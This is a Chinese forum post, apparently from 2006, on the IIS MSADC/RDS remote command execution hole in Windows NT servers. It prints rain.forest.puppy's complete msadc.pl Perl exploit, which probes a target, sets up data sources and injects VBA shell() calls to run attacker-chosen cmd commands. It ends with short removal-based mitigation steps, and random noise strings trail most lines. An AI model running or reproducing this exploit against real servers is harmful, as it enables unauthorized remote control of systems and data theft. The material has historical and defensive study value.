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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^Ff~j&L@{  
e5WdK  
涉及程序: aIzp\$NWVK  
Microsoft NT server [#STR=_f  
)+jK0E1  
描述: g9FVb7In_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 eI/\I:G{f  
Rk437vQD,  
详细: \dp9@y[^  
如果你没有时间读详细内容的话,就删除: yZj}EBa  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;qT!fuN;  
有关的安全问题就没有了。 h+zkVRyA  
.J<qfQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 *6sJ*lh  
%U=S6<lbj;  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 :oon}_MdRd  
关于利用ODBC远程漏洞的描述,请参看: M0;t%*1  
q/rHHuY}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2-c U -i4  
8 ACY uN\  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 HdY3DdC%q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp !SO$k%b}!  
j &0fC!k  
这里不再论述。 9d,]_l.sB  
m>Z\ rqOK  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: V(' 'p{  
ig.6[5a\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .^)C:XiW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +AgkPMy  
!"Oj$c -  
0?5%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Fl#VKU3h  
n&3iv ^  
#!perl Gw\G+T?M-  
# 'sjJSc  
# MSADC/RDS 'usage' (aka exploit) script 9GtVI^]  
# RV#uy]  
# by rain.forest.puppy DiYJlD&  
# t_zY0{|P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me }]39 iK`w  
# beta test and find errors! v8'`gY  
jnU*l\,  
use Socket; use Getopt::Std; jOm&yX  
getopts("e:vd:h:XR", \%args); mP5d!+[8  
.J1Hg  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0ez i?Um  
_ \v@9Q\  
if (!defined $args{h} && !defined $args{R}) { >jrz;r  
print qq~ Vhbj.eX.)  
Usage: msadc.pl -h <host> { -d <delay> -X -v } x^='pEt{  
-h <host> = host you want to scan (ip or domain) LjH&f 4mY  
-d <seconds> = delay between calls, default 1 second  $D, wO  
-X = dump Index Server path table, if available y 8d`},  
-v = verbose GmmT'3Q  
-e = external dictionary file for step 5 T^(n+lv  
u\1Wkxj  
Or a -R will resume a command session PGv}fEH"  
d4/`:?w  
~; exit;} KWigMh\r  
zZ+LisSs&  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Q:fUM[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} YP\4XI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Ng_rb KXC#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \}4#**]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2=/g~rp*  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } RZ/+ K=  
Og;$P 'U  
if (!defined $args{R}){ $ret = &has_msadc; UTK.tg  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;qVEI/  
"-j@GCme  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" I 3zitI;  
. "cmd /c "; Pdo5 sve  
$in=<STDIN>; chomp $in; lc$@Jjg9  
$command="cmd /c " . $in ; A^r [_dyZ  
9tc@   
if (defined $args{R}) {&load; exit;} C!/8e (!N  
`i>B|g-  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^?^|Y?f2P?  
&try_btcustmr;  I^(o3B  
J\dhi{0  
print "\nStep 2: Trying to make our own DSN..."; 4G;`KqR@  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; G$x["  
4}_w4@(  
print "\nStep 3: Trying known DSNs..."; rD(ep~^M  
&known_dsn; y/sWy1P7  
Ng;b!S  
print "\nStep 4: Trying known .mdbs..."; ;cm{4%=Iqe  
&known_mdb; ,f /IG.  
?j4,^K3  
if (defined $args{e}){ ++{+ #s6  
print "\nStep 5: Trying dictionary of DSN names..."; Kt* za  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } WfjUJw5x"s  
o%~K4 M".  
print "Sorry Charley...maybe next time?\n"; x4m_(CtK  
exit; :J4C'N  
"w|k\1D  
############################################################################## Ppb2"Ik  
/wxxcq  
sub sendraw { # ripped and modded from whisker xX4^nem\G  
sleep($delay); # it's a DoS on the server! At least on mine... 'xrbg]b%  
my ($pstr)=@_; *}iT6OJ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Wn,g!rB^@  
die("Socket problems\n"); | C2.Zay  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ko]h r  
select(S); $|=1; tv=FFfQ  
print $pstr; my @in=<S>; U5ud?z()OA  
select(STDOUT); close(S); \q`+  
return @in; IO&#)Ft  
} else { die("Can't connect...\n"); }} eUw;!Du  
-WW!V(~p  
############################################################################## ]'ApOp  
,cO)Sxj  
sub make_header { # make the HTTP request $ p1EqVu  
my $msadc=<<EOT 2,e|,N"zN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |xgCV@  
User-Agent: ACTIVEDATA 8^"|-~#<  
Host: $ip qyBK\WqaP  
Content-Length: $clen )J6b:W  
Connection: Keep-Alive 9B;Sk]y  
eP'kY(g8   
ADCClientVersion:01.06 VU'l~%ql  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 JK8@J9(#  
(PrPH/$  
--!ADM!ROX!YOUR!WORLD! <ZvPtW  
Content-Type: application/x-varg BLH3$*,H  
Content-Length: $reqlen UCj#t!Mw  
Dp6"I!L<|  
EOT (uK), *6B  
; $msadc=~s/\n/\r\n/g; BiLreZ~"  
return $msadc;} p*&LEjaVM4  
:ktX7p~  
############################################################################## MLIQ 8=  
O>F.Wf5g  
sub make_req { # make the RDS request [Z G j7  
my ($switch, $p1, $p2)=@_; Cg\)BHv~  
my $req=""; my $t1, $t2, $query, $dsn; ];}|h|q/{}  
/sC[5G%  
if ($switch==1){ # this is the btcustmr.mdb query ZG[0rvW  
$query="Select * from Customers where City=" . make_shell(); Joo)GIB  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . "yq;{AGOGl  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \w_[tPz}  
]<_!@J6k  
elsif ($switch==2){ # this is general make table query %C][E^9  
$query="create table AZZ (B int, C varchar(10))"; _ktSTzH0  
$dsn="$p1";} ?d#(ian  
+4p ;4/=  
elsif ($switch==3){ # this is general exploit table query U)%u`C0  
$query="select * from AZZ where C=" . make_shell(); Jsnmn$C  
$dsn="$p1";} Ay6rUN1ef  
?# c@Ag %  
elsif ($switch==4){ # attempt to hork file info from index server qmyZbo|8&  
$query="select path from scope()"; 9a Ps_|C  
$dsn="Provider=MSIDXS;";} }N9a!,{P=b  
]~M {@h!<  
elsif ($switch==5){ # bad query 9*Twx&  
$query="select"; m1; <T@  
$dsn="$p1";} m)RxV@  
b2f2WY |z>  
$t1= make_unicode($query); d@4=XSj  
$t2= make_unicode($dsn); Fl>j5[kLZ  
$req = "\x02\x00\x03\x00"; 8=Y|B5   
$req.= "\x08\x00" . pack ("S1", length($t1)); qq%_ksQ  
$req.= "\x00\x00" . $t1 ; VQ;- dCV  
$req.= "\x08\x00" . pack ("S1", length($t2)); r$eL-jQmn  
$req.= "\x00\x00" . $t2 ; 3K:Xxkk  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; XBt0Ez  
return $req;} 5h^qtK  
(9_e >2_  
##############################################################################  F%$Ws>l  
00wH#_fm  
sub make_shell { # this makes the shell() statement uOUw8  
return "'|shell(\"$command\")|'";} 2}\sj'0&  
ZS>/ 5  
############################################################################## n?fC_dy  
H.~+{jTr  
sub make_unicode { # quick little function to convert to unicode IX3 yNTW"L  
my ($in)=@_; my $out; um;U;%?Q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } pG=zGx4  
return $out;} 4qR Q,g{$T  
]b=A/*z  
############################################################################## 54_m{&hb  
*YOnX7*Km  
sub rdo_success { # checks for RDO return success (this is kludge) o@~gg *  
my (@in) = @_; my $base=content_start(@in); }4`YdN  
if($in[$base]=~/multipart\/mixed/){ TEyPlSGG  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #{`NJ2DU]  
return 0;} {"(|oIo{  
BU\NBvX$  
##############################################################################  cJ{P,K  
xx#Ef@bS  
sub make_dsn { # this makes a DSN for us }(O kl1  
my @drives=("c","d","e","f"); 1L9 <1  
print "\nMaking DSN: "; EHJc*WFPU-  
foreach $drive (@drives) { Qnc S&  
print "$drive: "; E0Xu9IW/A  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . S?WUSx*N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ArKrsI#H-  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); md_s2d  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; GDe$p;#"9g  
return 0 if $2 eq "404"; # not found/doesn't exist hrxASAfg6  
if($2 eq "200") { iU|C<A%Hh  
foreach $line (@results) { -/*{^[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} w5R9\<3L  
} return 0;} YWd(xm"4  
kQcQi}e  
############################################################################## |EU08b]P29  
Ok"wec+,  
sub verify_exists { 9uo\&,,  
my ($page)=@_; 7En~~J3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]qQB+]WN  
return $results[0];} Fd0FG A&L  
A[Xw|9  
############################################################################## !LESRh?  
cv&hT.1  
sub try_btcustmr { z`6KX93  
my @drives=("c","d","e","f"); xBd% e-r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @}}1xP4Sr  
^U1 +D^AJ  
foreach $dir (@dirs) { $(hZw  
print "$dir -> "; # fun status so you can see progress @g?z>n n  
foreach $drive (@drives) { A#\X-8/  
print "$drive: "; # ditto D^4V"rq  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; t*$@QO  
$reqlenlen=length( "$reqlen" ); I!%@|[ Ow  
$clen= 206 + $reqlenlen + $reqlen; `Q[$R&\  
e=C,`&s z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \Bf{/r5x  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ON^u|*kO  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g:V6B/M&  
R'_[RHFC  
############################################################################## }zLE*b,  
-#hl& ^u$  
sub odbc_error { d@~)Wlje  
my (@in)=@_; my $base; hTqJDP"&F  
my $base = content_start(@in); +%^xz 1m  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this EkPSG&6RZ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Xp@OIn  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .- o,_eg1f  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; E_#&L({|@  
return $in[$base+4].$in[$base+5].$in[$base+6];} q9Wtu7/  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; m{" zFD/  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . fe,CY5B{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} x6]?}Q>>D  
DtX{0p<T3  
############################################################################## !o7. L%S  
QX/`s3N  
sub verbose { Y"U&3e,  
my ($in)=@_; Z$gY}Bz  
return if !$verbose; P#]jPW  
print STDOUT "\n$in\n";} AUd}) UR  
=^{+h>#s@  
############################################################################## {M5IJt"{4b  
-. G0k*[d  
sub save { (["u"m%  
my ($p1, $p2, $p3, $p4)=@_; f+RDvgkKU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?J AzN  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9w|q':<  
close OUT;} 7eyh9E!_I  
GQQ6 t  
############################################################################## 'L7.a'  
@A%`\Ea%  
sub load { B;$5*3D+  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ny0`~bl{p  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); rA7S1)Kq  
@p=<IN>; close(IN); 3Hr%G4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ib C)F> Dq  
$target= inet_aton($ip) || die("inet_aton problems"); e78}  
print "Resuming to $ip ..."; 6I<`N  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^  +G> N  
if($p[1]==1) { xae7#d0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T/nRc_I+^B  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; V"z0]DP5~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9lwg`UWl,  
if (rdo_success(@results)){print "Success!\n";} }#@LZ)]hK  
else { print "failed\n"; verbose(odbc_error(@results));}} ]cK@nq)  
elsif ($p[1]==3){ 4D5)<3N=d'  
if(run_query("$p[3]")){ <U";V)  
print "Success!\n";} else { print "failed\n"; }} +xa2e?A%L  
elsif ($p[1]==4){ YrX{,YtiX  
if(run_query($drvst . "$p[3]")){ G5Nub9_*X  
print "Success!\n"; } else { print "failed\n"; }} y+_U6rv[  
exit;} 4ai3@f5  
G9TUU.T  
##############################################################################  K!j2AP3  
Z(cgI5Pu  
sub create_table { G}x^PJJt  
my ($in)=@_; 7Udr~ 0_)  
$reqlen=length( make_req(2,$in,"") ) - 28; e~1??k.;=  
$reqlenlen=length( "$reqlen" ); d p].FS  
$clen= 206 + $reqlenlen + $reqlen; qp8;=Nfa  
my @results=sendraw(make_header() . make_req(2,$in,"")); x :s-\>RcA  
return 1 if rdo_success(@results); 3zkq'lZ  
my $temp= odbc_error(@results); verbose($temp); d4U_Wu&  
return 1 if $temp=~/Table 'AZZ' already exists/; aE}u5L$#  
return 0;} {Ffr l(*  
0&)4^->c  
############################################################################## \_oHuw  
Zv_<*uzKZ  
sub known_dsn { x$t=6@<]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go BR*U9K|W  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G!uxpZ   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wS*UXF&f  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); te_D  ,  
.$rcTZ  
foreach $dSn (@dsns) { G9]GK+@&F  
print "."; '?nhpT^  
next if (!is_access("DSN=$dSn")); u<[Y6m  
if(create_table("DSN=$dSn")){ l%fl=i~oN  
print "$dSn successful\n"; >8c9-dTmf  
if(run_query("DSN=$dSn")){ 4f+Ke*^[RA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6 [IiJhVL  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "xKJ?8   
zB4gnVhus|  
############################################################################## 4^ A\w  
H~&'`h1  
sub is_access { K(hf)1q  
my ($in)=@_; L))(g][;  
$reqlen=length( make_req(5,$in,"") ) - 28; zc_3\N  
$reqlenlen=length( "$reqlen" ); 8V@3T/}  
$clen= 206 + $reqlenlen + $reqlen; @YRBZ6FH  
my @results=sendraw(make_header() . make_req(5,$in,"")); Yd9y8Tq J  
my $temp= odbc_error(@results); I#0$5a},u^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); z\a#"2(G.  
return 0;} YRl2e`&jt  
|1EM )zh6  
############################################################################## 5_PD ?lg  
KpWQ;3D2  
sub run_query { g]S.u8K8m  
my ($in)=@_; DY%E&Vd:h  
$reqlen=length( make_req(3,$in,"") ) - 28; }Q*8QV  
$reqlenlen=length( "$reqlen" ); :%{8lanO  
$clen= 206 + $reqlenlen + $reqlen; -Rmz`yOq}  
my @results=sendraw(make_header() . make_req(3,$in,"")); MCvjdc3:  
return 1 if rdo_success(@results); 3>Yec6Hs  
my $temp= odbc_error(@results); verbose($temp); !,]_tw>R  
return 0;} |&7l*j(\  
G'%mmA\  
############################################################################## AO/R 2a(:  
+%0+  
sub known_mdb { k;]&`c^5  
my @drives=("c","d","e","f","g"); 0 @>3fR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9d v+u6)  
my $dir, $drive, $mdb; "&An9H'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $WDa} ~j~^  
Pm-@ZZ~  
# this is sparse, because I don't know of many Gg_i:4F  
my @sysmdbs=( "\\catroot\\icatalog.mdb", TB9ukLG^<<  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", NVQ IRQ.  
"\\system32\\certmdb.mdb", r__uPyIMG/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ?>e-6*.  
75a3H`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h_J 'dJS  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,oR}0(^"\<  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,>)/y  
"\\cfusion\\cfapps\\security\\realm_.mdb", m}k rG  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Rh%x5RFFc  
"\\cfusion\\database\\cfexamples.mdb", P*_Q8I)Y  
"\\cfusion\\database\\cfsnippets.mdb", y'{0|Xj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6j0!$q^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 8[eH8m#~$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", cu |{cy-  
"\\cfusion\\database\\smpolicy.mdb", jGId)f!)  
"\\cfusion\\database\cypress.mdb", 6B&':N98  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", GSsot%B u"  
"\\website\\cgi-win\\dbsample.mdb", ~"8b\oLW  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", i-$]Tg  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 60*=Bs%b  
); #these are just r@ ]{`qA  
foreach $drive (@drives) { A+AqlM+$i  
foreach $dir (@dirs){ 94A re<  
foreach $mdb (@sysmdbs) { U:p<pTnMR  
print "."; (JOge~U  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 1aKY+4/G  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -(dc1?COi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &GX pRo  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ^+I{*0{/[  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lO[[iMHl<  
b:oB $E  
foreach $drive (@drives) {  ,_HVPE  
foreach $mdb (@mdbs) { -B'<*Y  
print "."; sdrALl;w|  
if(create_table($drv . $drive . $dir . $mdb)){ &W*9'vSm.  
print "\n" . $drive . $dir . $mdb . " successful\n"; 7aS`S F  
if(run_query($drv . $drive . $dir . $mdb)){ X180_Kt2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^2=11  
} else { print "Something's borked. Use verbose next time\n"; }}}} TX$j-TM'  
} #Fq6-]y1")  
{eL XVNR7R  
############################################################################## ;V@o 2a  
YjAwt;%-D  
sub hork_idx { re:=fC:t5A  
print "\nAttempting to dump Index Server tables...\n"; y]+q mNw"+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; YFeF(k!!n  
$reqlen=length( make_req(4,"","") ) - 28; }}@x x&  
$reqlenlen=length( "$reqlen" ); +TL5yuA  
$clen= 206 + $reqlenlen + $reqlen; _O{3bIay3!  
my @results=sendraw2(make_header() . make_req(4,"","")); O1V s!  
if (rdo_success(@results)){ s"s^rC  
my $max=@results; my $c; my %d; ,5.ve)/dE  
for($c=19; $c<$max; $c++){ `*^ f =y  
$results[$c]=~s/\x00//g; fnl~0   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; zyTeF~_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Xi$2MyRd  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; sk6C/ '0:  
$d{"$1$2"}="";} B E!HM{-  
foreach $c (keys %d){ print "$c\n"; } r Z%l?(  
} else {print "Index server doesn't seem to be installed.\n"; }} R^4JM,v9x`  
}N dknut,  
############################################################################## xj\! Sn2  
Tc$Jvy-G4A  
sub dsn_dict { 3w6}%=)$8  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F$X"?fj  
while(<IN>){ ?U$H`[VF}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; A&XI1. j6  
next if (!is_access("DSN=$dSn")); `ZhDoLpH<  
if(create_table("DSN=$dSn")){ 7b7@"Zw*  
print "$dSn successful\n"; 8Th{(J_  
if(run_query("DSN=$dSn")){ 5 o-WA1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7,X5]U&A<x  
print "Something's borked. Use verbose next time\n";}}} s|FfBG  
print "\n"; close(IN);} bLuAe EA  
WKek^TW4HE  
############################################################################## /x\{cHAt8J  
 xY v@  
sub sendraw2 { # ripped and modded from whisker xvU@,bzz  
sleep($delay); # it's a DoS on the server! At least on mine... r2"B"%;  
my ($pstr)=@_; UaG })  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hhRUC&Y%V  
die("Socket problems\n"); -y]e`\+[  
if(connect(S,pack "SnA4x8",2,80,$target)){ u4hC/!  
print "Connected. Getting data"; ;d5d$Np@m&  
open(OUT,">raw.out"); my @in; uf q9+}  
select(S); $|=1; print $pstr; Q6%dM'fR  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} s 1~&PH^  
close(OUT); select(STDOUT); close(S); return @in; |}$ZOwc  
} else { die("Can't connect...\n"); }} $IUe](a{d  
Qx<86aKkF  
############################################################################## w`ebZa/j  
?y"= jn  
sub content_start { # this will take in the server headers ;l4 epN  
my (@in)=@_; my $c; rs`"Kz`(  
for ($c=1;$c<500;$c++) { (m:ktd=x  
if($in[$c] =~/^\x0d\x0a/){ B bP&-c  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <9Sg,ix't  
else { return $c+1; }}} \?EnTu.  
return -1;} # it should never get here actually qGivRDR$  
3;v%78[&P  
############################################################################## 'z\$.L  
AXN%b2  
sub funky { m6+4}=Cn  
my (@in)=@_; my $error=odbc_error(@in); B\*"rSP\  
if($error=~/ADO could not find the specified provider/){ ebv"`0K$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; KF!?; q0J  
exit;} A*b>@>2  
if($error=~/A Handler is required/){ T*pcS'?'  
print "\nServer has custom handler filters (they most likely are patched)\n"; N./l\NtZ  
exit;} :^bjn3b  
if($error=~/specified Handler has denied Access/){ a]NH >d  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ga,+  
exit;}} 8>4@g!9E  
}LYK:?_/  
############################################################################## %0&c0vT  
u /6b.hDO  
sub has_msadc { ^VL",Nt  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?xX9o  
my $base=content_start(@results); nNj<!}HvV  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); *gGL5<%T:  
return 0;} VelR8tjP  
ais@|s;  
######################## crvq]J5  
<?h,;]U  
dAba'|Y  
解决方案: ,2>nr goM  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jt5:rWB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "~+? xke5z  
xQKRUHDc  
拿出来充数 哈哈
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